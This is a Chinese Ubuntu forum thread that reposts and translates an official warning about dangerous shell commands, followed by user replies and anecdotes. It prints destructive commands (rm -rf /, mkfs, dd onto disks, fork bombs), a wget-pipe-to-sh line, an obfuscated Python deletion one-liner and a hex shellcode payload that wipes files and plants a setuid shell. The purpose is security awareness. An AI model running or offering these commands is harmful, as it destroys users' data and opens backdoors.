[分享]新手适用,图文详解定制安装ubuntu!!!

最近ubuntu官方论坛发出了官方通告, 列出下列危险命令, 告诫用户不要执行, 并对随意张贴下列命令的帐号处以直接封号的处罚.


再次声明, 请不要执行下列或类似下列的命令, 这些命令将会对你的计算机造成严重影响.

请不要以什么给普通用户教训来提高他们的安全意识等等托词来为自己不怀好意的行为作为借口!

http://ubuntuforums.org/announcement.php?a=54

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.
下列命令会删除所有文件, 删除当前目录, 删除当前目录下面的文件.

代码:
rm -rf /
rm -rf .
rm -rf *


Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.
下列命令会摧毁整个文件系统, 重建分区.

代码:
mkfs
mkfs.ext3
mkfs.anything


Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:
下列命令会清空整个硬盘.

代码:
any_command > /dev/sda
dd if=something of=/dev/sda


Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)
下列命令会启动大量进程, 导致系统无法响应, 只能硬重启机器, 可能会导致数据损害.

代码:
:(){:|:&};:


In Perl


代码:
fork while fork


Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source

Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust
不要执行你不信任的人提供的shell脚本, 里面可能含有危险的命令和脚本, 不要随意解压别人提供的压缩包, 也许看起来很小, 结果解压出来会塞满整个硬盘.

代码:
wget http://some_place/some_file
sh ./some_file




代码:
wget http://some_place/some_file -O- | sh


Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:

不要编译运行别人提供的不明代码

代码:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out.


Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:


代码:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'


Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

作者: karron   发布时间: 2007-11-28

喂,那些说明文字还是要翻译一下的啦。

cnbeta 上的牛人马上就找出来了:《Running rm -rf / on Linux》
http://www.youtube.com/watch?v=D4fzInlyYQo

如果不知道运行 rm -rf / 的后果,看看这里吧。

作者: yiding_he   发布时间: 2007-11-28

拜托,不要只翻译(而且只是段章取意的翻译)讲到危害的那一部分行不?

原文有很多有价值的内容都丢了,而且你改变了很多原文的内容!

作者: stlxv   发布时间: 2007-11-29

yiding_he 写道:
喂,那些说明文字还是要翻译一下的啦。

cnbeta 上的牛人马上就找出来了:《Running rm -rf / on Linux》
http://www.youtube.com/watch?v=D4fzInlyYQo

如果不知道运行 rm -rf / 的后果,看看这里吧。

这个比较帅……
什么时候我也干一次得了──等我这个电脑给其他人用,对方又要XP的时候吧!
呵呵

作者: carbont   发布时间: 2007-11-29

stlxv 写道:
拜托,不要只翻译(而且只是段章取意的翻译)讲到危害的那一部分行不?

原文有很多有价值的内容都丢了,而且你改变了很多原文的内容!


原文就贴在这里的, 我丢了什么?原文我是原封不动地贴在这里的, 除了开头的那边的一些版规告诫什么的没有贴. 这么长篇的文章, 我没有精力去完全翻译, 只是把危害写出来大家看看就可以. 如果要更进一步了解原理, 原文也在这里, 自己看英文就好了.

如果谁愿意全部翻译, 可以直接跟帖或者改原帖.

作者: karron   发布时间: 2007-11-29

karron 写道:
stlxv 写道:
拜托,不要只翻译(而且只是段章取意的翻译)讲到危害的那一部分行不?

原文有很多有价值的内容都丢了,而且你改变了很多原文的内容!


原文就贴在这里的, 我丢了什么?原文我是原封不动地贴在这里的, 除了开头的那边的一些版规告诫什么的没有贴. 这么长篇的文章, 我没有精力去完全翻译, 只是把危害写出来大家看看就可以. 如果要更进一步了解原理, 原文也在这里, 自己看英文就好了.

如果谁愿意全部翻译, 可以直接跟帖或者改原帖.

下面是我对原贴前面那段的翻译:


ATTENTION ALL USERS: Malicious Commands
所有用户注意:危险命令

I'd like to take a moment of your time to discuss a recent disturbing trend the staff has been noticing on the forums, and also take this as an opportunity to raise awareness of this situation through education.
我想花点时间讨论一下我们最近注意到的在论坛出现的一些乱象,同时希望通过相关指导,能够使得这种情况得到大家的关注。

We've recently had an increase in the number of dangerous commands being posted on the forums. Don't pretend you don't know what I mean -- commands that cause massive damage or disruption to the user's computer.
我们最近发现在论坛的发帖中出现了一些危险命令,而且它们的数量有上升的趋势。别装傻,我知道你懂我说的话——这些命令有可能造成大规模的破坏,甚至令计算机崩溃。

I'd just like to caution those thinking of doing this that UbuntuForums has a strict zero-tolerance policy when it comes to posting dangerous commands. If you post one of them, particularly in a support thread disguised as advice, expect to be instantly and permanently BANNED, at the account, e-mail, IP, or ISP level. I do not care about intent -- if you mean it as a joke, it is not funny. If you mean it as a lesson, go teach it somewhere else. This behavior is absolutely against the Forum Guidelines and Ubuntu Code of Conduct.
我在此警告那些这么做的人:Ubuntu论坛绝不容许发布危险命令。如果你发布了危险命令,特别是在求助帖中将危险命令作为建议提供出来,你将会立刻被永久禁止,包括帐号、邮件、IP地址,或者甚至ISP。我不管你的意图是什么——如果你是开玩笑,那这里不是你开玩笑的地方;如果你想教别人这个命令,那么请到别的地方去教。因为这种行为完全违反了我们论坛的指导方针和Ubuntu的行为准则。

I'd also like to remind users to be cautious when someone tells you to run some command or download some script as a solution to your problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained to you and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). No matter how hard we try to stay on top of all posts in realtime, we are not perfect.
同时我也提醒用户们:如果有人告诉你要解决某个问题需要运行某个命令或者下载执行某个脚本,请提高警惕。如果您对其抱有怀疑,请稍做等待,看看其他人怎么说,或者要求他做出合理的解释,或者查阅相关文档(例如man文档)。虽然我们努力争取尽快回答大家的问题,但并不一定每次都做得到。


Regards,

The UbuntuForums Staff.



As requested by some, for the education of our users, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data -- many of them will even cause damage from a LiveCD environment.
经一些论坛用户的要求,同时也为提醒大家,我们列出一些危险命令的例子,这些例子极其危险,如果您的机器上有重要数据,请不要运行它们——这些命令甚至能够在LiveCD环境下对计算机造成破坏。

Again, DANGEROUS COMMANDS -- look but DO NOT RUN.
再次提醒大家,这些都是危险命令——看看可以,但不要去试。

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".
当然,其实这个列表很不完整,但是您看看这些之后,就会对那些欺骗您的命令有个大概印象。要知道这些命令很可能就藏在一大段的脚本中,所以当您觉得它们不对劲时,您就应该提高警惕了。

作者: yiding_he   发布时间: 2007-11-29

其实,只要不用 sudo ,一切都好商量....

作者: bones7456   发布时间: 2007-11-29

bones7456 写道:
其实,只要不用 sudo ,一切都好商量....

不用 sudo?这个就不太好商量了。

作者: yiding_he   发布时间: 2007-11-29

一般来说,人都有猎奇心里。你说不能的吧,他偏要去尝试一下。。。。

作者: yysq009   发布时间: 2007-11-29

代码:
rm -rf /

上面的代码千万不要执行,除非你知道自己在做什么

上述代码是不是只删除根分区的文件
/media/sda1 之类的挂载分区里的文件会不会删除呢?

作者: me   发布时间: 2007-11-29

LS可以去试试阿
嘿嘿
根分区都给你删除了,你想想会怎么样

作者: xiehuoli   发布时间: 2007-11-29

xiehuoli 写道:
LS可以去试试阿
嘿嘿
根分区都给你删除了,你想想会怎么样
放心地执行吧

结果不可能是所有文件都被你删除,不信你试试

作者: stlxv   发布时间: 2007-11-29

....楼上不要玩火啊,为数不多的班图女被禁了可不好

作者: windwiny   发布时间: 2007-11-29

windwiny 写道:
....楼上不要玩火啊,为数不多的班图女被禁了可不好
我又没叫她去做。再说他做了关我啥事。


反正俺是做过的。

作者: stlxv   发布时间: 2007-11-29

stlxv 写道:
windwiny 写道:
....楼上不要玩火啊,为数不多的班图女被禁了可不好
我又没叫她去做。再说他做了关我啥事。


反正俺是做过的。


我当年把自己的/etc给 chmod -R 777 /etc了
那个爽阿,越用你就发现,问题越多,这个才是最牛的

作者: xiehuoli   发布时间: 2007-11-29

xiehuoli 写道:
stlxv 写道:
windwiny 写道:
....楼上不要玩火啊,为数不多的班图女被禁了可不好
我又没叫她去做。再说他做了关我啥事。


反正俺是做过的。


我当年把自己的/etc给 chmod -R 777 /etc了
那个爽阿,越用你就发现,问题越多,这个才是最牛的
哇咖咖,你果然BT

作者: stlxv   发布时间: 2007-11-29

当时让我十分郁闷的是,
代码:
rm  -rf /
并不能成功执行,反而出错退出了

作者: stlxv   发布时间: 2007-11-29

stlxv 写道:
当时让我十分郁闷的是,
代码:
rm  -rf /
并不能成功执行,反而出错退出了

还好你没有加 sudo

作者: yiding_he   发布时间: 2007-11-29

yiding_he 写道:
stlxv 写道:
当时让我十分郁闷的是,
代码:
rm  -rf /
并不能成功执行,反而出错退出了

还好你没有加 sudo
我当时就是root了,加不加sudo 都一样

作者: stlxv   发布时间: 2007-11-29

stlxv 写道:
xiehuoli 写道:
stlxv 写道:
windwiny 写道:
....楼上不要玩火啊,为数不多的班图女被禁了可不好
我又没叫她去做。再说他做了关我啥事。


反正俺是做过的。


我当年把自己的/etc给 chmod -R 777 /etc了
那个爽阿,越用你就发现,问题越多,这个才是最牛的
哇咖咖,你果然BT

嘿嘿,那是我第一次用linux我在文件管理器里面看见ETC锁上了
于是乎.........sudo chmod -R 777 /etc
结果嘿嘿

作者: xiehuoli   发布时间: 2007-11-29

防止fork炸弹
代码:
ulimit -u 400

作者: BigSnake.NET   发布时间: 2007-11-29

我曾经无意中执行过 sudo rm /
结果,呵呵重装系统了
这些东西还是注意点好

作者: zgsfriend   发布时间: 2007-11-29

zgsfriend 写道:
我曾经无意中执行过 sudo rm /
结果,呵呵重装系统了
这些东西还是注意点好
这个几乎不会删除什么东西.......

作者: stlxv   发布时间: 2007-11-29

carbont 写道:
yiding_he 写道:
喂,那些说明文字还是要翻译一下的啦。

cnbeta 上的牛人马上就找出来了:《Running rm -rf / on Linux》
http://www.youtube.com/watch?v=D4fzInlyYQo

如果不知道运行 rm -rf / 的后果,看看这里吧。

这个比较帅……
什么时候我也干一次得了──等我这个电脑给其他人用,对方又要XP的时候吧!
呵呵


主意不错,下次安装XP的时候试一试.../到时候我不会哭吧?

作者: dwl301   发布时间: 2007-11-29

不错,学习了。。。

作者: sdqdcql   发布时间: 2007-11-29

zgsfriend 写道:
我曾经无意中执行过 sudo rm /
结果,呵呵重装系统了
这些东西还是注意点好


作者: yysq009   发布时间: 2007-11-29

我最郁闷的是,有一次新加了一块硬盘sdb,然后没注意把sda给mkfs了……

作者: madoldman   发布时间: 2007-11-29

原来还以为这里面高手不多呢,看来真错了!而且还有美女高手,呵呵!

作者: zimuqingyang   发布时间: 2007-11-29

这不,又成水贴了,哈哈~

作者: bones7456   发布时间: 2007-11-30

水贴有份,不能把我拉下了

作者: leeaman   发布时间: 2007-11-30

谢谢楼主的提醒,我确实要小心呀,因为我的电脑里资料都太重要了。

作者: fisheryu   发布时间: 2007-11-30

刚看了那个视频,光删文件都看了一分多钟,强!估计剩的东西不多了
回个装个虚拟机试试,感受一下,呵呵

作者: boyliangtian   发布时间: 2007-11-30

心中有数,不会玩火

作者: qlhn   发布时间: 2007-11-30

前两天就在家目录试了这个 rm -rf .*,呵呵,恢复到初始状态了

作者: wangboe   发布时间: 2007-11-30

stlxv 写道:
zgsfriend 写道:
我曾经无意中执行过 sudo rm /
结果,呵呵重装系统了
这些东西还是注意点好
这个几乎不会删除什么东西.......

你可能没有执行过,当时我是想删一个root权限的文件,在末尾不知怎么把/给加上了,当时用的是7.04幸亏没安ntfs-3g,在删除我windows时提醒权限不够,我及时ctrl+c停止了才得以包留住一部分(那时我还装了红旗5,剩余的文件是用他看见的),后来就无法进入ubuntu了只有重装。
若你不相信可以去试试。呵呵,不要说我误导。

作者: zgsfriend   发布时间: 2007-11-30

我把它翻译在我的博客上
翻译的不是很好……将就一下啦
--------------------------------------------------------------------------------------
删除所有文件,删除当前目录及删除当前目录下的可见文件。这些命令运行危险的原因很明显。

代码:
代码:
rm -rf /

rm -rf .

rm -rf *


格式化:运行mkfs命令后磁盘上的数据将被摧毁并且替换为空白的文件系统。

代码:

代码:
mkfs

mkfs.ext3

mkfs.anything

块设备操作:将成行的数据写入块设备中。数次这样的操作将可能摧毁文件系统并且引起所有数据的丢失。

代码:

代码:
any_command > /dev/sda

dd if=something of=/dev/sda

Forkbomb:运行大量的进程直到系统崩溃,强制你强行重启将可能导致出错,数据损坏或者其他糟糕的事情发生。

在Bourne-ish shells中,比如bash:(这东西看起来很有意思很吸引人去这么试一把)

代码:

代码:
:(){:|:&};:


在Perl中

代码:

代码:
fork while fork


Tarbomb:有人会让你释放一个tar存档到一个已存在的目录中。这个tar存档可能爆出无数个文件或者把文件靠猜测的文件名注入到系统中。你应该养成释放tar到干净目录中的习惯。

shellscript:有人给你一个链接到一个shellscript运行。这可能包含他选择的任何命令——无害的或者恶意的。不要运行从你不认识的人那个发来的代码。(我经常这么干……–!中国人还是很善良的……)

代码:
代码:
wget http://some_place/some_file

sh ./some_file

代码:
代码:
wget http://some_place/some_file -O- | sh

编译代码:

有人会给你源代码然后让你编译它。在一大堆源代码中很可能隐含恶意代码,并且源代码能给予攻击者更多的机会。不要编译或运行编译好了的代码除非那些源代码是知名的软件,或者从一个受好评的站点那里的来的(比如SourceForge, the author’s homepage, an Ubuntu address)。

很经典的例子就是表面上伪装成邮件实际上是proof of concept 执行sudo 声称如果你运行它,你不需要shell就可以使用sudo获得root权限。

代码:

代码:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

对于新用户及经验较浅的用户,这个看起来像“十六进制乱码”是个典型proof-of-concept.可是这个代码实际上确是运行的是rm -rf ~ / &,将会以一个常规用户或root破坏你home文件夹或所有文件。如果你能读懂这个十六进制形式的命令,那么你就不需要看这则公告了。否则,请记住当心那些很长的代码。

另外,再次强调这些不是所有的东西,你不应该把它当作一个检查一个命令是否安全的列表。

比如,在python中生成这样的东西:

代码:

代码:
python -c ‘import os; os.system(”".join([chr(ord(i)-1) for i in “sn!.sg!+”]))’


这里”sn!.sg!+”就是rm -rf*另一种字符形式。当然这仅仅只是个愚蠢例子——我不会期望有人会蠢到毫无顾忌的把它贴到终端中运行。

作者: fengluo   发布时间: 2007-11-30

谢谢,谢谢

作者: ljj_jjl2008   发布时间: 2007-12-01

引用:
rm -rf /

太恐怖了。

作者: heromac   发布时间: 2007-12-01

初学者不要光到网上瞎搜,有空拿linux的书看一下 就会明白的,
我也在看书,不过就我看的那点书而言,上面的几个傻猫命令我一看就知道什么意思,是绝对不会去干滴。
所以建议大家是得好好学习,学习了就没这些事了

作者: abyss2007   发布时间: 2007-12-01

既然有的命令这么危险

为什么系统不把他禁止掉呢?

还是有别的用途?

作者: wupenghua   发布时间: 2007-12-01

wupenghua 写道:
既然有的命令这么危险

为什么系统不把他禁止掉呢?

还是有别的用途?

刀可以杀人, 为什么你还用刀?

作者: BigSnake.NET   发布时间: 2007-12-01

我说这一段才猛呢!
代码:
:(){:|:&};:

自己都不知道是什么东西,结果问题就来了呵呵

作者: zhecool   发布时间: 2007-12-01

yiding_he 写道:
喂,那些说明文字还是要翻译一下的啦。

cnbeta 上的牛人马上就找出来了:《Running rm -rf / on Linux》
http://www.youtube.com/watch?v=D4fzInlyYQo

如果不知道运行 rm -rf / 的后果,看看这里吧。



怎么我只能看到前面三秒?下面就不会动了?

作者: roy0524   发布时间: 2007-12-01

zgsfriend 写道:
stlxv 写道:
zgsfriend 写道:
我曾经无意中执行过 sudo rm /
结果,呵呵重装系统了
这些东西还是注意点好
这个几乎不会删除什么东西.......

你可能没有执行过,当时我是想删一个root权限的文件,在末尾不知怎么把/给加上了,当时用的是7.04幸亏没安ntfs-3g,在删除我windows时提醒权限不够,我及时ctrl+c停止了才得以包留住一部分(那时我还装了红旗5,剩余的文件是用他看见的),后来就无法进入ubuntu了只有重装。
若你不相信可以去试试。呵呵,不要说我误导。
我试过了,在我的ubuntu上马上出错退出了,啥都好好的。 我相信任何没有被修改过的ubuntu都是这样的:roll:

您没有权限查看这个主题的附件。

作者: stlxv   发布时间: 2007-12-02

我在虚拟机上装了一个fedora ,用root试了那些,无效,不让执行。不敢在ubuntu上试,毕竟资料很多,出事就完了

作者: JiangHui   发布时间: 2007-12-02